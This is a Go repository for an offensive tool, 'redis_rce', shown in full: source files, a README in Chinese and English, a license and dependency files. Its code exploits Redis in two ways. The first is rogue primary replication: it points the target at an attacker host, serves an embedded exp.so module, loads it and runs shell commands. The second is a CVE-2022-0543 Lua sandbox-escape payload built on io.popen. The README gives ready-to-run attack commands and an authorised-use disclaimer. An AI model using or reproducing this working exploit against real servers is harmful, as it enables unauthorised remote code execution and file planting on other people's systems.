├── .gitignore ├── Image ├── lua.png ├── exec.png └── upload.png ├── redisrce ├── exp.so └── redisrec.go ├── go.mod ├── utils └── utils.go ├── LICENSE ├── main.go ├── README.md └── go.sum /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /Image/lua.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zyylhn/redis_rce/HEAD/Image/lua.png -------------------------------------------------------------------------------- /Image/exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zyylhn/redis_rce/HEAD/Image/exec.png -------------------------------------------------------------------------------- /redisrce/exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zyylhn/redis_rce/HEAD/redisrce/exp.so -------------------------------------------------------------------------------- /Image/upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zyylhn/redis_rce/HEAD/Image/upload.png -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/zyylhn/redis_rce 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/go-redis/redis/v8 v8.11.5 7 | github.com/google/go-cmp v0.5.6 // indirect 8 | github.com/gookit/color v1.5.0 9 | golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/gookit/color" 5 | "path/filepath" 6 | "strings" 7 | ) 8 | 9 | var Red = color.FgRed.Render 10 | var Yellow = color.FgLightYellow.Render 11 | var LightGreen = color.FgLightGreen.Render 12 | var LightCyan = color.FgLightCyan.Render 13 | 14 | func GetBasePathFromPath(path string) string { 15 | if len(path)>1{ 16 | if path[0:1]!="/"{ 17 | path=strings.ReplaceAll(path,"\\","/") 18 | } 19 | path=strings.TrimSuffix(path,"/") 20 | path=filepath.Dir(path) 21 | path=strings.ReplaceAll(path,"\\","/") 22 | if path[0:1]!="/"{ 23 | path=strings.ReplaceAll(path,"/","\\") 24 | } 25 | } 26 | return path 27 | } 28 | 29 | func GetFileNameFromPath(path string) string { 30 | if len(path)>1{ 31 | if path[0:1]!="/"{ 32 | path=strings.ReplaceAll(path,"\\","/") 33 | } 34 | path=strings.TrimSuffix(path,"/") 35 | path=filepath.Base(path) 36 | path=strings.ReplaceAll(path,"\\","/") 37 | if path[0:1]!="/"{ 38 | path=strings.ReplaceAll(path,"/","\\") 39 | } 40 | } 41 | return path 42 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 zyylhn 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "github.com/go-redis/redis/v8" 7 | "github.com/zyylhn/redis_rce/redisrce" 8 | "github.com/zyylhn/redis_rce/utils" 9 | "os" 10 | ) 11 | var Uploadfile bool 12 | var Exec bool 13 | var Lua bool 14 | var FilePath string 15 | var ServerPath string 16 | var SoFilePath string 17 | var Password string 18 | var Host string 19 | var Port int 20 | var Lhost string 21 | var Lport int 22 | var Command string 23 | 24 | func main() { 25 | flag.StringVar(&FilePath,"srcpath","","set upload file path") 26 | flag.StringVar(&ServerPath,"dstpath","","set target path") 27 | flag.StringVar(&SoFilePath,"so","","set .so file path") 28 | flag.StringVar(&Password,"pass","","set redis password") 29 | flag.StringVar(&Host,"host","","set target") 30 | flag.StringVar(&Command,"command","","Command want to xexc") 31 | flag.BoolVar(&Uploadfile,"upload",false,"use upload mode") 32 | flag.BoolVar(&Exec,"exec",false,"use execute the command mode") 33 | flag.IntVar(&Port,"port",6379,"set redis port") 34 | flag.StringVar(&Lhost,"lhost","","set listen host(!!!Make sure the target has access!!!)") 35 | flag.IntVar(&Lport,"lport",20001,"set listen port(!!!Make sure the target has access!!!)") 36 | flag.BoolVar(&Lua,"lua",false,"use CVE-2022-0543 to attack") 37 | flag.Parse() 38 | if Host==""{ 39 | fmt.Println(utils.Red("must set host")) 40 | } 41 | redisclient:=redis_client("",Password,Host) 42 | switch { 43 | case Exec: 44 | if Lhost==""{ 45 | fmt.Println(utils.Red("must set lhost")) 46 | os.Exit(0) 47 | } 48 | redisrce.RdisExec(redisclient,SoFilePath,ServerPath,Lhost,Lport,Command) 49 | case Uploadfile: 50 | if FilePath==""||ServerPath==""||Lhost==""{ 51 | fmt.Println(utils.Red("must set lhost,srcpath,dstpath")) 52 | } 53 | redisrce.RedisUpload(redisclient,FilePath,ServerPath,Lhost,Lport) 54 | case Lua: 55 | redisrce.LuaEval(redisclient,Command) 56 | default: 57 | fmt.Println(utils.Red("must set upload or exec")) 58 | } 59 | } 60 | 61 | func redis_client(user,pass,ip string) *redis.Client { 62 | url:=fmt.Sprintf("redis://%v:%v@%v:%v/",user,pass,ip,Port) 63 | opt,err:=redis.ParseURL(url) 64 | if err != nil { 65 | fmt.Println(utils.Red(err)) 66 | } 67 | return redis.NewClient(opt) 68 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Redis primary/secondary replication RCE 2 | 3 | redis主从复制rce的go版本,可独立编译使用,并集成在在[zscan](https://github.com/zyylhn/zscan)的exploit的redis利用模块中 4 | 5 | 顺便添加了CVE-2022-0543 Redis Lua 沙盒逃逸 RCE,开箱即用 6 | 7 | ## 使用方式 8 | 9 | ```shell 10 | Usage of ./redis-rce: 11 | -dstpath string 12 | set target path(上传文件模式中的目标路径) 13 | -exec 14 | use execute the command mode(执行命令模式) 15 | -host string 16 | set target(目标 redis服务器的地址) 17 | -lhost string 18 | set listen host(!!!Make sure the target has access!!!)(我们伪造的主redis的地址) 19 | -lport int 20 | set listen port(!!!Make sure the target has access!!!) (default 20001)(我们为在redis开放的端口) 21 | -pass string 22 | set redis password(redis的密码,未授权就不填) 23 | -port int 24 | set redis port (default 6379)(目标redis的的端口,正常是6379) 25 | -so string 26 | set .so file path(用来执行命令的so文件,内置一个,可以不指定) 27 | -srcpath string 28 | set upload file path(上传文件模式的本地文件路径) 29 | -upload 30 | use upload mode (上传文件模式) 31 | 32 | ``` 33 | 34 | ### 上传文件 35 | 36 | 将当前目录的LICENSE上传到目标的/tmp/test.txt 37 | 38 | ``` 39 | ./redis-rce -upload -host 172.16.95.24 -lhost 172.16.95.1 -srcpath LICENSE -dstpath /tmp/test.txt 40 | ``` 41 | 42 | ![image-20220316152521251](Image/upload.png) 43 | 44 | ### 执行命令 45 | 46 | ``` 47 | ./redis-rce -exec -host 172.16.95.24 -lhost 172.16.95.1 48 | ``` 49 | 50 | ![exec](Image/exec.png) 51 | 52 | ### CVE-2022-0543 53 | 54 | ``` 55 | 影响版本An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives 56 | Redis >=2.2 and < 5.0.13 57 | Redis >=2.2 and < 6.0.15 58 | Redis >=2.2 and < 6.2.5 59 | 安全版本Redis 6.2.5、6.0.15、5.0.13或更高版本 60 | ``` 61 | 62 | 使用 63 | 64 | ``` 65 | ./redis-rce -lua -host 172.16.95.16 -pass 123456 66 | ``` 67 | 68 | ![lua](Image/lua.png) 69 | 70 | ## 注意问题 71 | 72 | 组从复制影响版本:4.x-5.x 73 | 74 | 千万不要运行交互式的命令,只要运行了,就连不redis了 75 | 76 | 如果因为意外链接断开,活着ctl+c结束程序了,会导致模块(so文件)没有unload和上传的so没有被删除,没有被删除问题不大,但是如果模块没有被unload,就不能再load(运行时会检查,如果之前的system没有被unload,会进行unload),尽量使用exit退出 77 | 78 | ## 免责声明 79 | 80 | 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 81 | 82 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。** 83 | 84 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 85 | 86 | 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 -------------------------------------------------------------------------------- /redisrce/redisrec.go: -------------------------------------------------------------------------------- 1 | package redisrce 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | _ "embed" 7 | "fmt" 8 | "github.com/go-redis/redis/v8" 9 | "github.com/zyylhn/redis_rce/utils" 10 | "io" 11 | "net" 12 | "os" 13 | "strings" 14 | "sync" 15 | ) 16 | //go:embed exp.so 17 | var sopayload []byte 18 | var payload []byte 19 | 20 | func RdisExec(client *redis.Client,sopath,dst,lhost string,lport int,cmd string) { 21 | if sopath!=""{ 22 | file,err:=os.Open(sopath) 23 | checkerr_exit(err) 24 | payload,err=io.ReadAll(file) 25 | }else { 26 | payload=sopayload 27 | } 28 | if dst==""{ 29 | dst="/tmp/net.so" 30 | } 31 | ReceiveFromRedis(redis_exec(fmt.Sprintf("slaveof %v %v",lhost,lport),client)) 32 | dbfilename,dir:=Getinfomation(client) 33 | ReceiveFromRedis(redis_exec(fmt.Sprintf("config set dir %v",utils.GetBasePathFromPath(dst)),client)) 34 | ReceiveFromRedis(redis_exec(fmt.Sprintf("config set dbfilename %v",utils.GetFileNameFromPath(dst)),client)) 35 | listen(fmt.Sprintf("%v:%v",lhost,lport)) 36 | Restore(client,dir,dbfilename) //重置 37 | s:=redis_exec(fmt.Sprintf("module load %v",dst),client) 38 | if s=="need unload"{ 39 | fmt.Println(utils.Yellow("Try to unload")) 40 | ReceiveFromRedis(redis_exec(fmt.Sprintf("module unload system"),client)) 41 | fmt.Println(utils.Yellow("To the load")) 42 | redis_exec(fmt.Sprintf("module load %v",dst),client) 43 | } 44 | if cmd==""{ 45 | reader:=bufio.NewReader(os.Stdin) 46 | for { 47 | var cmdstdin string 48 | cmdstdin,_=reader.ReadString('\n') 49 | cmdstdin =strings.TrimSpace(cmdstdin)+"\n" 50 | if cmdstdin =="exit\n"{ 51 | cmdstdin =fmt.Sprintf("rm %v",dst) 52 | ReceiveFromRedis(runcmd(cmdstdin,client)) 53 | ReceiveFromRedis(redis_exec(fmt.Sprintf("module unload system"),client)) 54 | break 55 | } 56 | ReceiveFromRedis(runcmd(cmdstdin,client)) 57 | } 58 | os.Exit(0) 59 | }else { 60 | ReceiveFromRedis(runcmd(cmd,client)) 61 | cmd =fmt.Sprintf("rm %v",dst) 62 | ReceiveFromRedis(runcmd(cmd,client)) 63 | ReceiveFromRedis(redis_exec(fmt.Sprintf("module unload system"),client)) 64 | } 65 | 66 | 67 | } 68 | 69 | func RedisUpload(client *redis.Client,src,dst,lhost string,lport int) { 70 | file,err:=os.Open(src) 71 | checkerr_exit(err) 72 | payload,err=io.ReadAll(file) 73 | ReceiveFromRedis(redis_exec(fmt.Sprintf("slaveof %v %v",lhost,lport),client)) 74 | dbfilename,dir:=Getinfomation(client) 75 | ReceiveFromRedis(redis_exec(fmt.Sprintf("config set dir %v",utils.GetBasePathFromPath(dst)),client)) 76 | ReceiveFromRedis(redis_exec(fmt.Sprintf("config set dbfilename %v",utils.GetFileNameFromPath(dst)),client)) 77 | listen(fmt.Sprintf("%v:%v",lhost,lport)) 78 | Restore(client,dir,dbfilename) //重置 79 | 80 | } 81 | 82 | func LuaEval(client *redis.Client,cmd string) { 83 | reader:=bufio.NewReader(os.Stdin) 84 | if cmd==""{ 85 | for { 86 | var cmdstdin string 87 | fmt.Printf(utils.Yellow("#>")) 88 | cmdstdin,_=reader.ReadString('\n') 89 | cmdstdin=strings.TrimSpace(cmdstdin) 90 | if cmd=="exit"{ 91 | break 92 | } 93 | ReceiveFromRedis(luaeval(cmdstdin,client)) 94 | } 95 | os.Exit(0) 96 | }else { 97 | ReceiveFromRedis(luaeval(cmd,client)) 98 | } 99 | } 100 | 101 | func listen(ladd string) { 102 | var wg sync.WaitGroup 103 | wg.Add(1) 104 | tcpip, err := net.ResolveTCPAddr("tcp", ladd) 105 | checkerr(err) 106 | tcplisten, err := net.ListenTCP("tcp", tcpip) 107 | defer tcplisten.Close() 108 | checkerr(err) 109 | fmt.Println(utils.Yellow("Start Listener")) 110 | c, err := tcplisten.AcceptTCP() 111 | checkerr(err) 112 | fmt.Println(utils.Yellow("Success connect from " + c.RemoteAddr().String())) 113 | go sendmessage(&wg,c) 114 | wg.Wait() 115 | c.Close() 116 | } 117 | 118 | func sendmessage(wg *sync.WaitGroup, c *net.TCPConn) { 119 | defer wg.Done() 120 | buf := make([]byte, 1024) 121 | for { 122 | n, err := c.Read(buf) 123 | if err == io.EOF||n==0 { 124 | fmt.Println(utils.Yellow("组从复制结束,链接关闭")) 125 | return 126 | } 127 | ReceiveFromRedis(string(buf[:n])) 128 | switch { 129 | case strings.Contains(string(buf[:n]),"PING"): 130 | c.Write([]byte("+PONG\r\n")) 131 | SendToRedis("+PONG") 132 | case strings.Contains(string(buf[:n]),"REPLCONF"): 133 | c.Write([]byte("+OK\r\n")) 134 | SendToRedis("+OK") 135 | case strings.Contains(string(buf[:n]),"SYNC"): 136 | resp:="+FULLRESYNC "+"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"+" 1"+"\r\n" 137 | resp+="$"+ fmt.Sprintf("%v",len(payload)) + "\r\n" 138 | respb:=[]byte(resp) 139 | respb=append(respb,payload...) 140 | respb=append(respb,[]byte("\r\n")...) 141 | c.Write(respb) 142 | SendToRedis(resp) 143 | } 144 | } 145 | } 146 | 147 | 148 | func redis_exec(cmd string,client *redis.Client) string { 149 | ctx:=context.Background() 150 | var argsinterface []interface{} 151 | args:=strings.Fields(cmd) 152 | for _,arg:=range args{ 153 | argsinterface=append(argsinterface,arg) 154 | } 155 | SendToRedis(cmd) 156 | val, err := client.Do(ctx,argsinterface...).Result() 157 | return redis_checkerr(val, err) 158 | } 159 | 160 | func runcmd(cmd string,client *redis.Client) string { 161 | ctx:=context.Background() 162 | SendToRedis(cmd) 163 | val, err := client.Do(ctx,"system.exec",cmd).Result() 164 | return redis_checkerr(val, err) 165 | } 166 | 167 | func luaeval(cmd string,client *redis.Client) string { 168 | ctx:=context.Background() 169 | SendToRedis(cmd) 170 | val, err := client.Do(ctx,"eval",fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`,cmd),"0").Result() 171 | return redis_checkerr(val, err) 172 | } 173 | 174 | func redis_checkerr(val interface{},err error) string { 175 | if err != nil { 176 | if err == redis.Nil { 177 | fmt.Println(utils.Red("Key does not exits")) 178 | return "" 179 | } 180 | fmt.Println(utils.Red(err)) 181 | if err.Error()=="ERR Error loading the extension. Please check the server logs."{ 182 | return "need unload" 183 | } 184 | os.Exit(0) 185 | } 186 | switch v:=val.(type){ 187 | case string: 188 | return v 189 | case []string: 190 | return "list result:"+strings.Join(v," ") 191 | case []interface{}: 192 | s:="" 193 | for _,i:=range v{ 194 | s+=i.(string)+" " 195 | } 196 | return s 197 | } 198 | return "" 199 | } 200 | 201 | func Getdir(dirResult string) string { 202 | if strings.HasPrefix(dirResult,"dir"){ 203 | return dirResult[4:len(dirResult)-1] 204 | } 205 | return "" 206 | } 207 | 208 | func GetDbfilename(name string) string { 209 | if strings.HasPrefix(name,"dbfilename"){ 210 | return name[11:len(name)-1] 211 | } 212 | return "" 213 | } 214 | 215 | func checkerr(err error) { 216 | if err!=nil{ 217 | fmt.Println(utils.Red(err)) 218 | } 219 | } 220 | func checkerr_exit(err error) { 221 | if err!=nil{ 222 | fmt.Println(utils.Red(err)) 223 | os.Exit(0) 224 | } 225 | } 226 | 227 | func SendToRedis(str string) { 228 | str=strings.TrimSpace(str) 229 | fmt.Printf(utils.LightCyan(fmt.Sprintf("--->:%v\n",str))) 230 | } 231 | 232 | func ReceiveFromRedis(str string) { 233 | str=strings.TrimSpace(str) 234 | fmt.Printf(utils.LightGreen(fmt.Sprintf("<---:\n%v\n",str))) 235 | } 236 | 237 | func Restore(client *redis.Client,dir,dbfilename string) { 238 | success:=redis_exec("slaveof no one",client) 239 | ReceiveFromRedis(success) 240 | if strings.Contains(success,"OK"){ 241 | fmt.Println(utils.LightGreen("Success upload file")) 242 | } 243 | ReceiveFromRedis(redis_exec(fmt.Sprintf("config set dir %v",dir),client)) 244 | ReceiveFromRedis(redis_exec(fmt.Sprintf("config set dbfilename %v",dbfilename),client)) 245 | } 246 | 247 | func Getinfomation(client *redis.Client) (string,string) { 248 | dbfilenameResult:=redis_exec("config get dbfilename",client) 249 | dbfilename:=GetDbfilename(dbfilenameResult) 250 | if dbfilename!=""{ 251 | ReceiveFromRedis(dbfilenameResult) 252 | }else { 253 | fmt.Println(utils.Red("err:"+dbfilenameResult)) 254 | } 255 | dirResult:=redis_exec("config get dir",client) 256 | dir:=Getdir(dirResult) 257 | if dir!=""{ 258 | ReceiveFromRedis(dirResult) 259 | }else { 260 | fmt.Println(utils.Red("err:"+dirResult)) 261 | } 262 | return dbfilename,dir 263 | } -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= 2 | github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 3 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= 4 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= 5 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= 10 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= 11 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 12 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= 13 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 14 | github.com/go-redis/redis/v8 v8.11.4 h1:kHoYkfZP6+pe04aFTnhDH6GDROa5yJdHJVNxV3F46Tg= 15 | github.com/go-redis/redis/v8 v8.11.4/go.mod h1:2Z2wHZXdQpCDXEGzqMockDpNyYvi2l4Pxt6RJr792+w= 16 | github.com/go-redis/redis/v8 v8.11.5 h1:AcZZR7igkdvfVmQTPnu9WE37LRrO/YrBH5zWyjDC0oI= 17 | github.com/go-redis/redis/v8 v8.11.5/go.mod h1:gREzHqY1hg6oD9ngVRbLStwAWKhA0FEgq8Jd4h5lpwo= 18 | github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= 19 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 20 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 21 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 22 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 23 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 24 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 25 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 26 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 27 | github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 28 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 29 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 30 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 31 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 32 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 33 | github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= 34 | github.com/gookit/color v1.5.0 h1:1Opow3+BWDwqor78DcJkJCIwnkviFi+rrOANki9BUFw= 35 | github.com/gookit/color v1.5.0/go.mod h1:43aQb+Zerm/BWh2GnrgOQm7ffz7tvQXEKV6BFMl7wAo= 36 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 37 | github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= 38 | github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= 39 | github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= 40 | github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= 41 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 42 | github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= 43 | github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc= 44 | github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= 45 | github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= 46 | github.com/onsi/ginkgo/v2 v2.0.0/go.mod h1:vw5CSIxN1JObi/U8gcbwft7ZxR2dgaR70JSE3/PpL4c= 47 | github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= 48 | github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= 49 | github.com/onsi/gomega v1.16.0 h1:6gjqkI8iiRHMvdccRJM8rVKjCWk6ZIm6FTm3ddIe4/c= 50 | github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= 51 | github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= 52 | github.com/onsi/gomega v1.18.1/go.mod h1:0q+aL8jAiMXy9hbwj2mr5GziHiwhAIQpFmmtT5hitRs= 53 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 54 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 55 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 56 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 57 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 58 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 59 | github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 h1:QldyIu/L63oPpyvQmHgvgickp1Yw510KJOqX7H24mg8= 60 | github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778/go.mod h1:2MuV+tbUrU1zIOPMxZ5EncGwgmMJsa+9ucAQZXxsObs= 61 | github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 62 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 63 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 64 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 65 | golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 66 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 67 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 68 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 69 | golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 70 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 71 | golang.org/x/net v0.0.0-20210428140749-89ef3d95e781 h1:DzZ89McO9/gWPsQXS/FVKAlG02ZjaQ6AlZRBimEYOd0= 72 | golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= 73 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 74 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 75 | golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 76 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod 